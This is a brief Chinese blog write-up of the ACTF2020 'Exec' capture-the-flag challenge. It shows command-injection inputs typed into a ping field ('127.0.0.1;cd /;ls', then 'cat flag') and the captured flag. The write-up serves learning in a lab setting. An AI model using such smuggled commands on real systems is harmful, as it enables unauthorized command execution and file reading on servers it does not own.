[ACTF2020 新生赛]Exec 1

[ACTF2020 新生赛]Exec 1

下午写了这个，看了别人的解题过程，还是不太能理解。

 

 题目有可能是sql注入，也可能是命令执行漏洞。

输入ping 127.0.0.1;ls

直接显示index.php

Linux系统显示网页的路径是/var/www/html,说明index.php在路径中

返回根目录看看是否有flag,127.0.0.1;cd /;ls

 

 

 

 能看见flag在目录中

最后127.0.0.1;cd /;cat flag

 

得到flag{131b1282-4d92-49ca-af2b-b3393f9ccc29} 

__EOF__

本文作者：胖竹孙
本文链接：https://www.cnblogs.com/getcha/p/16839190.html
关于博主：评论和私信会在第一时间回复。或者直接私信我。
版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力！